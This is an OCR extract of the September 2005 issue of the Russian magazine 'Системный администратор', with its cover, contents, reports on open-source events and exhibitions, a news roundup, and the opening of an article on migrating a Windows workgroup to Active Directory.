98
Роспечать – 81655 Пресса России – 87836 Интер-почта – тел. (095) 500-00-60 Так видит журнал читатель, который забыл оформить подписку: ПОДПИШИТЕСЬ И ЧИТАЙТЕ! Так видит журнал читатель, оформивший подписку: НОВОГОДНИЕ КАНИКУЛЫ ЗАТЯНУЛИСЬ БЫСТРО РАСКУПИЛИ ТИРАЖ НЕОЖИДАННО ЗАКОНЧИЛИСЬ ДЕНЬГИ УЕХАЛ В ОТПУСК ПОСЛЕ ОТПУСКА АВРАЛ НА РАБОТЕ №9(34) сентябрь 2005 №9(34) сентябрь 2005 подписной индекс 81655 www.samag.ru Клонируем Windows Клонируем Windows с помощью Symantec Ghost с помощью Symantec Ghost Подключаем сетевые ресурсы Подключаем сетевые ресурсы в автоматическом режиме в автоматическом режиме Active Director Active Directory вместо y вместо рабочей группы рабочей группы Устойчива ли ваша сеть? Устойчива ли ваша сеть? WHoppix проверит! WHoppix проверит! Как спасти данные, Как спасти данные, если отказал жесткий диск если отказал жесткий диск «Бритва» для спама: «Бритва» для спама: обзор анализатора Razor обзор анализатора Razor Все ли возможности ClamAV Все ли возможности ClamAV вы используете? вы используете? Протокол SILC обеспечит вам Протокол SILC обеспечит вам безопасную конференц-связь безопасную конференц-связь Аккуратная настройка SSI Аккуратная настройка SSI

034 Системный Администратор 09 2005

Embed Size (px)

DESCRIPTION

НЕОЖ ИДАННО ЗАКОНЧИЛИСЬ БЫСТРО РАСКУПИЛИ ТИРАЖ НОВОГОДНИЕ ЗАТЯНУЛИСЬ №9(34) сентябрь 2005 подписной индекс 81655 www.samag.ru КАНИКУЛЫ ОТПУСКА ДЕНЬГИ РАБОТЕ АВРАЛ НА №9(34) сентябрь 2005 52 Создаем загружаемый Flash-диск с FreeBSD и DOS. Часть I РЕПОРТАЖ2 12 Настраиваем основные компоненты почтового сервера ТЕНДЕНЦИИ7 Наша история: первые десять лет развития русского сегмента Сети. Протоколы сетей хранения данных Часть I – ATA over Ethernet КНИЖНАЯ ПОЛКА АДМИНИСТРИРОВАНИЕ репортаж 2

Citation preview

Page 1: 034 Системный Администратор 09 2005

Роспечать – 81655Пресса России – 87836Интер-почта – тел. (095) 500-00-60

Так видит журнал читатель, который забыл оформить подписку:

ПОДПИШИТЕСЬ И ЧИТАЙТЕ!

Так видит журнал читатель, оформивший подписку:

НОВОГОДНИЕ

КАНИКУЛЫ

ЗАТЯ

НУЛИСЬ

БЫСТР

О РАСКУПИЛИ

ТИРА

Ж

НЕОЖ

ИДАННО

ЗАКОНЧИЛИСЬ Д

ЕНЬГИ

УЕХАЛ В

ОТП

УСК

ПОСЛЕ ОТП

УСКА

АВРАЛ Н

А РАБОТЕ

№9(

34)

сент

ябрь

200

5

№9(34) сентябрь 2005подписной индекс 81655www.samag.ru

Клонируем Windows Клонируем Windows с помощью Symantec Ghostс помощью Symantec Ghost

Подключаем сетевые ресурсы Подключаем сетевые ресурсы в автоматическом режимев автоматическом режиме

Active DirectorActive Directory вместоy вместорабочей группырабочей группы

Устойчива ли ваша сеть? Устойчива ли ваша сеть? WHoppix проверит!WHoppix проверит!

Как спасти данные, Как спасти данные, если отказал жесткий дискесли отказал жесткий диск

«Бритва» для спама:«Бритва» для спама:обзор анализатора Razorобзор анализатора Razor

Все ли возможности ClamAV Все ли возможности ClamAV вы используете?вы используете?

Протокол SILC обеспечит вам Протокол SILC обеспечит вам безопасную конференц-связьбезопасную конференц-связь

Аккуратная настройка SSIАккуратная настройка SSI

Page 2: 034 Системный Администратор 09 2005
Page 3: 034 Системный Администратор 09 2005

1№9, сентябрь 2005

оглавление

РЕПОРТАЖ2

Домены Windows 2000/2003 – отказываемся от рабочей группыКак безболезненно перейти к доменной структуре.

8

АДМИНИСТРИРОВАНИЕ

ТЕНДЕНЦИИ7

Роман Марков[email protected]

Symantec Ghost,или Как сделать клон своими рукамиЭффективно управляем рабочими станциями.

12

Михаил Платов[email protected]

Подключаем сетевые ресурсы в автоматическом режимеСоздаем скрипт для интеллектуального управления сетевыми дисками.

20

Иван Коробко[email protected]

Управляем удаленными базами AIDEЧасть II – AIDEstartСкрипт AIDEStart очень пригодится вам для запуска AIDE на взломанной или поврежденной машине.

28

Рашид Ачилов[email protected]

Устойчива ли ваша сеть? Проверьте с помощью WHoppix!LiveCD-дистрибутив WHoppix поможет протестировать систему на устойчивость к сетевым вторжениям.

62

Илья Александров[email protected]

Создаем загружаемый Flash-диск с FreeBSD и DOS. Часть IМетодика создания образа своими руками.

32

Рашид Ачилов[email protected]

Организуем доступ в Интернет с использованием биллинговой системы FreeNIBSСистема доступа к Сети с гибким инструментом адми-нистрирования.

42

Евгений Литвиненко[email protected]

«Бритва» для спамаОбзор сигнатурного анализатора Razor.

46

Сергей Супрунов [email protected]

Настраиваем основные компонентыпочтового сервераСвязка Postfix + MySQL + Courier-IMAP + fetchmail + SquirrelMail.

48

Евгений Литвиненко[email protected]

БЕЗОПАСНОСТЬ

Все ли возможности ClamAV вы используете?Функциональность ClamAV гораздо шире, чем простое сканирование файлов на вирусы.

52

Авраменко Андрей[email protected]

Протокол SILC обеспечит вамбезопасную конференц-связьОрганизуем безопасное общение по незащищенным каналам.

56

Сергей Яремчук[email protected]

Определяем уязвимость веб-сервиса с помощью Acunetix Web Vulnerability ScannerПротестируйте свой веб-сайт на наличие слабых мест.

68

Сергей Яремчук[email protected]

WEB

Аккуратная настройка SSIОптимизации SSI уделяется очень мало внимания. Се-годня мы восполним этот пробел.

70

Алексей Мичурин[email protected]

Протоколы сетей хранения данныхЧасть I – ATA over EthernetПервая статья из цикла о протоколах SAN-сетей.

76

Антон Борисов [email protected]

СЕТИ

HARDWARE-ПРАКТИКУМ

Как спасти данные,если отказал жесткий дискРемонт и востановление жестких дисков.

80

Крис Касперски[email protected]

С чего начинался российский ИнтернетНаша история: первые десять лет развития русского сегмента Сети.

88

Алексей Коршунов[email protected]

РЕТРОСПЕКТИВА

КНИЖНАЯ ПОЛКА

19, 27, 31, 41 BUGTRAQ

Все на подпискуВсе на подписку-2006!-2006!

Обзор книжных новинок92Александр Байрак

[email protected]

Page 4: 034 Системный Администратор 09 2005

2

репортаж

Можно считать, что форум начал свою работу еще в Ростове-на-Дону, за несколько часов до отъез-да в п. Архыз. Ожидание автобуса как-то незамет-

но перетекло в дебаты о различных дистрибутивах Linux и подобные темы. Да и в самом автобусе споры не прекра-щались почти до самого пансионата.

По различным причинам в Архыз съехалось заметно меньшее количество участников, чем было зарегистри-ровано, тем не менее были представлены многие регио-ны России (Москва, Рязань, Каменск-Уральский, Уренгой и др.), так что OSF’05 можно совершенно обоснованно на-звать всероссийским мероприятием.

Первый официальный день работы форума начался с выступлений организаторов и спонсоров. Президент ITX

Community Артем Солодченко пояснил цели и задачи, кото-рые организация ставит перед собой, проводя OSF. Пред-ставитель консалтинговой службы Novell Виталий Сайфул-лин рассказал присутствующим о взглядах Novell на движе-ние Open Source, а также продемонстрировал SUSE Linux Enterprise Server 9.

В дальнейшую работу форума по техническим причинам (пансионат остался на несколько часов без электричества) бы-ли внесены некоторые коррективы, и первые доклады участ-ников проходили прямо под открытым небом, что сделало об-щение еще более неформальным. Практически каждое вы-ступление вызывало неподдельный интерес и порождало на-столько горячие и продолжительные споры, что организаторы уже и не пытались вернуть участников в рамки регламента.

В ПОСЕЛКЕ АРХЫЗ УСПЕШНО ПРОШЕЛOPEN SOURCE FORUM 2005

С 15 по 17 сентября в посёлке Архыз состоялся Open Source Forum 2005. Его организаторы –

ITX Community совместно с Северо-Кавказской группой пользователей Linux (NC LUG) уже

второй год собирают специалистов, связанных с движением Open Source. Участники форума

получили возможность не только обменяться опытом разработки и внедрения открытых

решений, обсудить последние события в мире информационных технологий, но и пообщаться

с единомышленниками в неформальной обстановке. Да и просто хорошо отдохнуть

в экологически чистом, живописном уголке России на высоте 1470 метров над уровнем моря,

вдали от цивилизации.

Page 5: 034 Системный Администратор 09 2005

3№9, сентябрь 2005

репортаж

Диапазон тем, затронутых выступающими, был весь-ма широк: от вопросов использования бездисковых тер-миналов в локальных сетях предприятий и преимуществ FreeBSD-шлюза перед решениями на базе Windows до при-кладных аспектов безопасности операционных систем и проблем лицензирования ПО.

Второй день начался с экскурсии на Софийские водо-пады. Каждый горел желанием совершить хотя бы неболь-шое восхождение, так что рабочая часть была отодвинута на вечер. Началась она с выступления Дениса Сосновцева (IBM, Центр компетенции Linux), рассказавшего присутству-ющим о поддержке компанией IBM движения Open Source, а также представившего разработку IBM Workplace. По мне-нию представителя IBM, Linux не должен повторить судь-бу UNIX, разбившись на несколько десятков независимых проектов. Тем не менее в компании видят необходимость сохранить для конечных пользователей возможность вы-бора между несколькими поставщиками решений.

Слушание докладов, уже «при поддержке» проектора, продолжалось почти до полуночи. Этот день можно назвать днем разработчиков – основная доля выступлений касалась конкретных решений. Были представлены примеры трех-звенных приложений на базе Mozilla, один из разработчи-ков RTK Linux рассказал об особенностях этого дистрибу-тива. Обсуждение каждого доклада по-прежнему стреми-лось затянуться на неопределенный срок.

Последний день был посвящен оставшимся докладам и завершающим выступлениям. Наибольший интерес при-влек доклад Николая Кривченкова (Рязанский LUG) на тему «Система оптического распознавания для Linux». Помимо огромной работы собственно по разработке системы автор представил и потрясающий по качеству видеоматериал, ко-торый сделал доклад ярким и незабываемым.

По дороге домой кое-где в автобусе еще продолжались споры о том, насколько «тонкими» должны быть клиенты, о преимуществах и недостатках Slackware и т. п. Было оче-видно, что форум удался…

В целом можно сказать, что задачи, поставленные перед форумом, были полностью выполнены. Всего было заслу-шано 11 докладов, и каждый увозил домой не только мас-су полезной информации, множество свежих идей и подар-ки от спонсоров, но и самые лучшие впечатления от заме-чательной природы, общения с хорошими людьми, а так-же желание еще глубже окунуться в необъятный и полный возможностей мир Open Source.

Спонсорами форума выступили компании IBM и Мега-фон, техническую и информационную поддержку оказала компания Novell, порталы OpenNET, nixp.ru, журнал «Сис-темный администратор», представительство D-Link в Рос-тове-на-Дону и ряд других компаний и организаций.

Хочется поблагодарить организаторов и всех, кто под-держал идею проведения данного мероприятия, за пре-красно (а главное – с пользой) проведенное время, и выра-зить надежду, что в следующем году форум пройдет с еще большим размахом. Ну а мы будем следить за новостями на сайте проекта: www.itx.ru.

Сергей СупруновФото автора

Дмитрий Яценко � координатор проекта

Д. Сосновцев (Центр компетенции Linux, IBM): «Мы черпаемвдохновение в свободном ПО и все больше и больше в неговтягиваемся»

Экскурсия к водопадам

Ростов-на-Дону, перед отъездом

Page 6: 034 Системный Администратор 09 2005

4

репортаж

Организаторами выступили вы-ставочное объединение «Рес-тэк» совместно с компанией

Reed Exhibitions и IDG World Expo.Стенды LinuxWorld занимали не

треть, а визуально не более одной пя-той площади. Тем не менее на выстав-ке было представлено большое число как отечественных, так и зарубежных компаний, занимающихся бизнесом, связанным с Linux и Open Source. При-

сутствовал даже стенд от абсолютно некоммерческого проекта – свободной ReactOS. Среди участников можно на-звать IBM, Red Hat, Oracle, Intel, Novell, R-Style, ALT Linux, ASPLinux, Линукс Инк, Инвента, Linuxcenter.Ru, Naumen.

Наибольшее оживление царило у стенда компании Linuxcenter.Ru. Впро-чем, это и неудивительно – помимо то-го, что данный стенд был единственным мини-магазином на выставке, где мож-

но было приобрести с де-сяток разных дистрибу-тивов ОС Linux и различ-ную атрибутику, компания представляла обществен-ности сразу две новин-ки. Это новый ежемесяч-ный переводной журнал, целиком посвященный ОС Linux – LinuxFormat, и вторая новинка – пред-ставленный совместно с питерским ветераном российского рынка свобод-ного ПО – Линукс Инк дис-трибутив Scientific Linux 4.1 Cyrilic Edition, обзор кото-рого вы сможете прочесть в следующем номере на-шего журнала.

Говоря о русифициро-ванных дистрибутивах, не-

льзя не упомянуть о сделанном на вы-ставке заявлении вице-президента Red Hat по международным прода-жам о том, что Red Hat начинает офи-циальную поддержку русского языка в Red Hat Enterprise Linux и предоставит своим клиентам официальную подде-ржку на русском языке. Возможно, этот шаг необходимо было сделать несколь-ко раньше – это бы поспособствовало большей популярности данного дист-рибутива корпоративного уровня. По-ка же на территории России подде-ржку на русском языке осуществляли московская «Инвента» и «Линукс Инк» из Санкт-Петербурга. Достаточно ин-тересной была демонстрация откры-той операционной системы ReactOS. Данная ОС, разрабатываемая в рам-ках проекта Open Source, совместима с приложениями и драйверами линей-ки ОС Windows NT. Коллектив разра-ботчиков тесно взаимодействует с про-ектом Wine – осуществляется взаи-мовыгодный обмен кодом. На выста-ке была продемонстрирована уже ста-бильно работающая реализация стека TCP/IP. В ближайшее время планирует-ся добиться стабильной работы пакета MS Office и бухгалтерских програм раз-работки 1С. Из примерно 25 разработ-чиков ReactOS трое – наши соотечес-твенники. ReactOS распространяется

Сентябрь в этом году

выдался «урожайным»

на выставки.

С 7 по 9 сентября в самом

центре столицы, на Ильинке,

в выставочном комплексе

«Гостиный Двор» прошли

сразу три выставки – первая

в России Международная

специализированная

выставка-конференция

LinuxWorld Russia 2005,

а также Infosecurity Russia

и StorageExpo.

ТРИ СПЕЦИАЛИЗИРОВАННЫЕ ВЫСТВКИ ОДНОВРЕМЕННО ПРОШЛИ В ГОСТИНОМ ДВОРЕ

На стенде журнала � исполнительный директорВладимир Положевец и автор Андрей Маркелов

Page 7: 034 Системный Администратор 09 2005

5№9, сентябрь 2005

репортаж

Отличительной особенностью ста-ла насыщенная конференционная про-грамма: 4 «круглых стола», 8 секцион-ных заседаний, 17 программных вы-ступлений и 33 семинара компаний-участников выставки прошли одновре-менно в четырёх конференц-залах.

Storage Expo Russia является пре-емницей серии выставок Storage Expo, успешно проводимых компанией Reed Exhibitions в 10 странах мира (www.storage-global.com). Были представле-ны новые решения по хранению дан-ных от крупнейших производителей и поставщиков, таких как Adaptec, Cisco Systems, EMC Computer Systems, Hitachi Data Systems, Hewlett-Packard, IBM, Network Appliance, Sony, StorageTek, Sun Microsystems, Symantec, Электронный архив, а также крупнейших дистрибью-торов и интеграторов – АМТ Груп, Инфо-системы Джет, КРОК, ТехноСерв, INLINE Technologies, Kraftway, TopsBI и другие.

Можно сказать, что все три выставки удались, и каждый из посетителей мог найти что-то интересное для себя.

Андрей Маркелов

по лицензии GNU и доступна для за-грузки всем желающим на сайте http://www.reactos.com. Будем надеяться, что и в следующем году LinuxWorld распах-нет двери посетителям, и представит множество интересных новинок.

В этом году выставка Infosecurity прошла при поддержке аппарата Со-вета безопасности РФ, Федеральной службы по техническому и экспортно-му контролю РФ, Федерального агент-ства по информационным технологиям РФ, Федеральной службы безопаснос-ти России, МОО «Ассоциация Защиты Информации».

Приняли участие крупнейшие произ-водители и поставщики, такие как – Aladdin Software Security R.D., Cisco Systems, Check Point Software Technologies Ltd., IBM, Internet Security Systems, McAfee, Nortel, Sun Microsystems, Symantec, Trend Micro, ДиалогНаука, ИНФОРМ-ЗАЩИТА, Лаборатория Касперского, ЭЛВИС-ПЛЮС, а также крупнейшие дистрибьюторы и интеграторы – АМТ Груп, Инфосистемы Джет, TopsBI, Груп-па компаний КомпьюЛинк, Корпорация ЮНИ, ЛАНИТ, ТехноСерв.

21 сентября в Московском Поли-

техническом музее прошла лекция

знаменитого ученого с мировым

именем, профессора Высшей По-

литехнической школы ETH г. Цюри-

ха, «отца структурных языков про-

граммирования» Никлауса Вирта

(Niklaus Wirth).

Его приезд в Россию был приуро-чен к празднованию 250-летия МГУ им. Ломоносова и 150-летию швейцар-ского ETH. Лекция называлась «Ис-тория и перспективы языка Оберон». В лекции профессор кратко расска-зал о истории создания языка Обе-рон. Путь к Оберону лежал через язы-ки программирования Паскаль и Мо-дула-2, автором которых также явля-ется Вирт. По окончании лекции, отве-чая на вопросы слушателей, профес-сор поделился некоторыми интерес-ными замечаниями, напрямую не от-носящимися к теме доклада. Напри-мер, собравшиеся в аудитории могли узнать, что Вирту не нравится термин ООП «наследование», поскольку, как он сказал, «наследуют обычно, когда кто-то умер». Также профессор поже-лал российским коллегам поменьше оглядываться на США и не копиро-вать вслепую американскую модель ценностей, что, как он заметил, про-исходит сейчас.

Андрей МаркеловФото автора

Основные темы, которые будут представлены на конференции, – последние технологии в сфере разработки ПО, управление про-цессами разработки ПО, управление человеческими ресурсами. Предполагаемая аудитория конференции – более 700 специалис-тов в области разработки ПО из России и стран СНГ, а также приглашенные гости и «гуру» из США и Европы. Конференция для раз-работчиков программного обеспечения SEC(R) будет проходить в Москве, в Международном информационно-выставочном центре «ИнфоПространство». Регистрация участников на сайте конференции: http://secr.ru.

27-28октября

Конференция для разработчиков программного обеспечения Software Engineering Conference (Russia)

анонс

Площадка Infosecurity

Никлаус Вирт выступил с лекцией в Москве

Page 8: 034 Системный Администратор 09 2005

6

репортаж

Каждый год SofTool собирает практически все более-менее известные российские и зарубежные ком-пании, работающие в сфере IT, представляющие

на стендах свои новые достижения за прошедший год. В этом году под крышей просторного павильона их собра-лось более трех сотен. Мероприятие традиционно проводит-ся при поддержке Российской академии наук, Федерально-го Агентства по промышленности, Федерального Агентства по науке и инновациям, Федерального Агентства по инфор-мационным технологиям и Правительства Москвы.

Из самых крупных и известных компаний, принявших участие в выставке, можно назвать ABBYY Software House, IBM, Intel, Microsoft, фирма 1С, АйТи, АСКОН, Гарант, Кон-сультант Плюс, Корпорация Галактика, Лаборатория Кас-перского, Корпорация Парус и многие другие.

На отдельных площадках выставки был развернут це-лый ряд специализированных экспозиций. Так, в рамках «Мира Академии» свои разработки представили более де-сяти научных институтов Российской академии наук. Сек-ция под названием «DocFlow» знакомила посетителей с ре-шениями по автоматизации управления и системами элект-ронного документооборота. На втором этаже была развер-нута экспозиция «САПР’экспо–2005». Как следует из на-звания, она была посвящена системам автоматизирован-ного проектирования.

В течение всего времени работы выставки SofTool 2005 проводилась специализированная экспозиция – LinuxLand (www.linuxland.ru). Ее организаторами выступили компа-нии Линуксцентр и Линукс Инк. Как легко понять из назва-

ния, это мероприятие было целиком и полностью посвяще-но Linux и Open Source. По замыслу организаторов (кото-рый, впрочем, был реализован в полной мере), предпола-галось собрать под одной крышей различных производи-телей и поставщиков решений для открытой ОС: ASPLinux, MOPSLinux, Smart Software, EterSoft, Linux Format, LYNX Education Center, Linux Ink и CITKIT. Кроме традиционных стендов и демо-зоны, участники выставки могли посетить конференцию или тематические мастер-классы: «Бизнес и Linux», «Информационная безопасность», «Linux в обра-зовании», «Технологические горизонты». На конференции прозвучали доклады как от лидеров индустрии (IBM, HP, Novell, Vdel Ltd./Red Hat), так и самостоятельных разработ-чиков. Настоящий шквал вопросов вызвала презентация Алексея Брагина, представившего ReactOS – свободную ре-ализацию операционной системы, совместимой с Microsoft Windows на уровне драйверов и прикладных программ.

Неизменной популярностью среди посетителей пользо-вались и мастер-классы, которые часто проходили в «ин-терактивном» режиме. В частности, компания R-Style раз-вернула сервер HP Proliant DL380 прямо в конференц-за-ле и не на словах, а на деле доказала легкость и просто-ту настройки и использования решений на базе HP/Linux. Интерес вызывали и матер-классы, посвященные LiveCD Knoppix 3.7 RE (секция «Linux в образовании»), новой сис-теме борьбы с нежелательной корреспонденцией, доклад об Asterisk Дениса Смирнова и другие.

Можно сказать, что экспозиция прошла удачно. Система 1С:Предприятие, работающая под управлением Linux и де-монстрируемая в режиме он-лайн на стенде Etersoft, собира-ла вокруг себя множество заинтересованных. Многие люди приходили на LinuxLand не только затем, чтобы приобрести (или получить в подарок) какие-либо продукты, но и для то-го, чтобы поговорить с разработчиками, задать вопросы и получить на них ответы. По сравнению с предыдущими вы-ставками SofTool, не имевшими специализированной экс-позиции, посвященной Open Source, можно отметить значи-тельное уменьшение числа «случайных прохожих», то есть людей, случайно заглянувших на стенд. Большая часть по-сетителей Linux Land приходила целенаправленно на эту эк-спозицию, а некоторые с мастерством истинных ценителей – на определенный мастер-класс. Поэтому, несмотря на оп-ределенные (кто-то может сказать – неизбежные для пре-мьеры) технические накладки, можно сказать, что LinuxLand удался. Хочется надеяться, что это мероприятие станет пер-вым в длинной череде экспозиций, посвященных Linux и про-движению открытых технологий в России!

Андрей Маркелов, Валентин СиницынФото Юрия Афанасьева

ИТОГИ ВЫСТАВКИ SOFTOOL 2005Вслед за LinuxWorld Russia 2005 в конце сентября в Москве уже в шестнадцатый раз

посетителям открыла двери крупнейшая в России ежегодная Международная выставка

информационных технологий SofTool 2005.

16 лет � солидный возраст для IT-выставки. SofTool всё этовремя сохраняет свою актуальность

Page 9: 034 Системный Администратор 09 2005

7№9, сентябрь 2005

тенденции

OpenOffice.org переходит на GNU LGPLКомпания Sun Microsystems объявила об отказе от лицен-зии Sun Industry Standard Source License (SISSL), в связи с чем с SISSL прощаются и все открытые проекты Sun, ра-нее использовавшие эту лицензию. Продукты Open Source, практиковавшие схему двух лицензий, одной из которых бы-ла SISSL, перешли к упрощению своей схемы лицензиро-вания. Так, например, все релизы OpenOffice.org, что будут (и были) выпущены после выхода 2.0 Beta 2, распространя-ются только на условиях GNU LGPL. Первой ласточкой стал OOo 2.0 RC1, анонсированный в конце сентября.

Противоречия в Mambo привели к появлению JoomlaГруппа разработчиков из проекта по созданию открытой CMS – Mambo – обнародовала собственную версию сис-темы под названием Joomla. Релиз Joomla 1.0 основан на Mambo 4.5.2.3, в него добавлены исправления оши-бок и уязвимостей в безопасности. Так же, как и Mambo, Joomla распространяется под лицензией GNU GPL. Разно-гласия в проекте Mambo возникли в августе, когда разра-ботчики отделились от компании Miro International, что ос-новала Mambo, а позже превратила его в источник дохо-дов. Почву для противоречий заложили вопросы управле-ния ПО и контролирования интеллектуальной собственнос-ти. Для этой задачи компанией Miro была учреждена орга-низация Mambo Foundation, однако разработчики заявили, что реальный контроль сохранила за собой компания.

Firefox скачали 90 миллионов раз20 сентября (в 09:33:58 по Гринвичу) количество закачек открытого веб-браузера Firefox достигло отметки в 90 мил-лионов раз. Таким образом, до достижения заветных 100.000.000 скачиваний за первый год с момента выхода Firefox 1.0 (9 ноября 2004) осталось преодолеть последнюю десятую часть пути.

Появилась бета-версия Firefox 1.5В начале месяца был представлен первый бета-релиз Firefox 1.5 (Deer Park), среди новшеств которого можно вы-делить систему автоматического обновления, улучшенную блокировку всплывающих окон, усовершенствованную под-держку Mac OS X, возможности DnD для вкладок. Финаль-ный релиз Firefox 1.5 ожидается позже в этом году.

Pointsec анонсировала «полнодисковое шифрование» для LinuxКомпания Pointsec представила свой программнный про-дукт для конечного Linux-пользователя, реализующий тех-нологию FDE (full disk encryption, «полнодисковое шифро-вание»), защищающую все данные на жестком диске. По словам производителя, Pointsec for Linux предназначен для «крупных технологических и телекоммуникационных корпо-раций, нуждающихся в защите интеллектуальной собствен-ности, хранимой на настольных компьютерах и лаптопах». «Мы наблюдаем растущий мировой спрос на шифрование данных на конечном оборудовании, таком, как ноутбуки, со стороны многих индустрий, т.к. компании осознают угрозу для информации, хранимой на их ПК, что может быть уте-

ряна или украдена», – прокомментировал Петер Ларссон, исполнительный директор Pointsec Mobile Technologies.

KNOPPIX вновь доступен и на LiveCDВышедший во второй половине сентября очередной ре-лиз KNOPPIX – 4.0.2 – ознаменовал собой возврат к под-держке редакции этого Linux-дистрибутива для LiveCD, а не только LiveDVD, как это было с двумя предыду-щими версиями. Кроме того, в KNOPPIX 4.0.2 прове-дены обновления пакетов xserver-xfree86, xlibs, mozilla-firefox и unionfs (до 20050921-1507), исправлены некото-рые опции загрузки, а на DVD добавлены freemind, Debian Anwenderhandbuch V3.0, amarok 1.2.4.

DragonFly BSD переходит на pkgsrcМэтт Диллон в почтовой рассылке пользователей DragonFly объявил о том, что в следующем релизе ОС DragonFly BSD официальной системой управления пакетами будет pkgsrc. Система пакетов NetBSD придет на смену «dfports» (версия портов FreeBSD с исправлениями для DragonFly). Именно pkgsrc, а не dfports разработчики предпочитали использо-вать последние месяцы, так что переход стал вполне логич-ным звеном эволюции DragonFly BSD. Система pkgsrc пор-тируема, разработана NetBSD и официально поддержива-ется проектом DragonFly с октября 2004 года. Позже на мо-лодую BSD-платформу был портирован код стека беспро-водных устройств из ОС FreeBSD.

Составил Дмитрий Шуруповпо материалам www.nixp.ru

Page 10: 034 Системный Администратор 09 2005

8

администрирование

ДОМЕНЫ WINDOWS 2000/2003 –ОТКАЗЫВАЕМСЯ ОТ РАБОЧЕЙ ГРУППЫ

Что делать, когда ваша сеть, сконфигурированная в качестве рабочей группы Windows,

перестала удовлетворять требованиям управляемости и удобной масштабируемости?

Ответ один – переходить на Active Directory! Однако прежде чем начинать подобный проект,

необходимо хорошо знать все его нюансы.

РОМАН МАРКОВ

Тенденция быстрого роста локаль-ных сетей небольших компаний наблюдается в наши дни повсе-

местно. Сначала это два-три компью-тера для бухгалтерии, затем еще по одному для директора, его замести-теля, секретаря, нескольких менедже-ров и т. д. Через какое-то время их ко-личество опять увеличивается, так как

штат сотрудников расширяется. Одна-ко изначально все эти компьютеры яв-ляются членами рабочей группы, в ко-торой каждый участник равноправен. Администрировать такую сеть стано-вится неудобно, так как понятия «цент-рализованное управление» и «рабочая группа» являются взаимоисключаю-щими.

Именно в этот момент вам приходит-ся принимать решение о переходе к до-менной структуре (Active Directory).

С какими трудностями вам при-дется столкнуться в первую очередь? Что необходимо предусмотреть зара-нее, чтобы процесс перехода прошел без сучка и задоринки? Сегодня я по-пытаюсь обобщить свой опыт подоб-

Page 11: 034 Системный Администратор 09 2005

9№9, сентябрь 2005

администрирование

Рисунок 1. Подобную анкету должензаполнить каждый пользователь

ных внедрений, чтобы заранее облег-чить вашу задачу.

План перехода к Active DirectoryДля реализации подобного перехода необходимо заранее составить план своих действий. Наибольшей произ-водительности своего труда вы достиг-нете, выполняя все настройки в нера-бочее время. Оптимальным решени-ем является использование выходных дней, так как при количестве рабочих станций более 5-7 за один вечер завер-шить перевод скорее всего не удастся. Необходимо помнить о том, что любые работы по глобальной перенастрой-ке системы могут занять в несколько раз больше времени, чем планирова-лось. Поэтому вы должны быть увере-ны в том, что расчетное время завер-шения всех работ в два(!) раза меньше имеющегося в наличии. В противном случае вы рискуете получить нерабо-тоспособную систему в момент выхо-да пользователей на работу.

Роль контроллера домена (да-лее КД) лучше доверить выделенно-му для этих целей компьютеру (серве-ру). Понятие «выделенный» в данном случае означает, что никто не должен использовать его в качестве рабочей станции. Эта рекомендация известна всем, но тем не менее еще раз напо-минаю об этом. Для несения роли КД для 10-30 рабочих станций и такого же количества пользователей подойдет любой компьютер, удовлетворяющий требованиям ОС Windows Server – на-грузка на него при таких условиях бу-дет невелика. Вполне достаточно сле-дующей конфигурации: Celeron-700, 256 RAM, 10 HDD. Однако не стоит за-бывать, что даже в небольших сетях должна обеспечиваться отказоустой-чивость, поэтому КД в домене долж-но быть более одного.

Акцентирую ваше внимание на том, что данная статья не является техни-ческой инструкцией по настройке конт-роллера домена, введению в домен ра-бочих станций, заведению учетных за-писей пользователей и пр. Об этом вы можете прочитать в [1], где вы найде-те советы по планированию перехода от рабочей группы к домену.

Следующий этап – подготовка сер-вера и клиентских рабочих мест. Для того чтобы сделать переход к до-

менной структуре абсолютно прозрач-ным для пользователей, необходимо создать и заполнить анкеты для каж-дого рабочего места локальной сети. Если за одним компьютером работа-ют несколько пользователей, исполь-зующих различные учетные записи (или программное обеспечение), то та-кую анкету должен заполнить каждый из них. Форма может быть произволь-ной, главное, чтобы были заполнены требуемые поля. Это: имя компьюте-ра в сети, ФИО пользователя, имя его учетной записи, пароль, используемые программы, расположение рабочих до-кументов и пр. Пример заполненной анкеты приведен на рис. 1.

Обяжите каждого пользователя се-ти заполнить подобную табличку перед началом модернизации. Эту процеду-ру полезно выполнять перед любыми действиями по переконфигурирова-нию пользовательских компьютеров – после переустановки системы вы вос-станавливаете все, что попросил поль-зователь. Если он об этом в данном от-чете не упомянул – значит, вы тем бо-лее не могли знать, чем он пользуется. Главное провести правильную предва-рительную беседу, рассказав, для чего необходимо заполнять такую карточку и что вы не будете нести ответствен-ности за те данные, которые не были описаны. Конечно, такой подход более применим к внедренческим фирмам и не всегда возможен для штатного со-трудника, однако он зарекомендовал себя с лучшей стороны. Иначе – в слу-чае потери данных виноватым всег-да окажется системный администра-тор, который должен был на астраль-ном уровне догадаться, что пользова-тели хранят все документы в корзине! Поверьте – я не фантазирую – это ре-альная история из опыта нашей фир-мы. Сотрудник, приехавший по заявке клиента о нехватке на диске свободно-го места, первым делом очистил корзи-ну. Оказалось, что бухгалтер хранил в ней все документы. На вопрос: «Как же вы их сохраняли?!» последовал невоз-мутимый ответ: «Сохраняла на рабо-чем столе и перетаскивала».

Внимательно отнеситесь к бухгал-терским рабочим станциям – как пра-вило именно они изобилуют «нестан-дартными» программами, такими как Банк-клиенты и специализированные программы налоговой отчетности. За-

ранее проконсультируйтесь с техни-ческой поддержкой производителей программ на предмет того, что именно вы должны архивировать. Некоторые такие программы защищены от копи-рования, поэтому после переустановки системы просто перестанут работать, что может явиться крайне критичным, так как невозможность осуществить срочный платеж через систему Банк-клиент – серьезная проблема для орга-низации. Заранее договоритесь о вы-зове специалиста для переустановки подобных программ.

Полезные технические подробностиС технической точки зрения рекомен-дуется использовать на рабочих стан-циях операционные системы не ни-же Windows 2000, так как более ран-ние версии систем (Windows9x/ME, Windows NT) не позволяют в полной мере распространять на них доменные политики и настройки. Поэтому при на-личии возможности (технические ха-рактеристики компьютера и пр.) пере-установите ОС там, где необходимо.

Помните, что перед любыми подоб-ными работами необходимо создавать архивную копию всех данных, нахо-дящихся на перенастраиваемых сер-верах. Опыт показывает, что нелиш-ним будет создать архивную копию даже тех дисковых разделов, которые вы не собираетесь затрагивать в про-цессе работы – лучше быть спокой-ным за то, что все продублировано, чем «случайно» установить новую систему не в тот раздел. Конечно, такое напо-минание многим может показаться из-лишним – ведь это и «само собой ра-зумеется». К сожалению, практика по-казывает, что даже опытные специа-листы иногда игнорируют это правило,

Page 12: 034 Системный Администратор 09 2005

10

администрирование

Рисунок 2. Копирование информации из старого профиля в новый

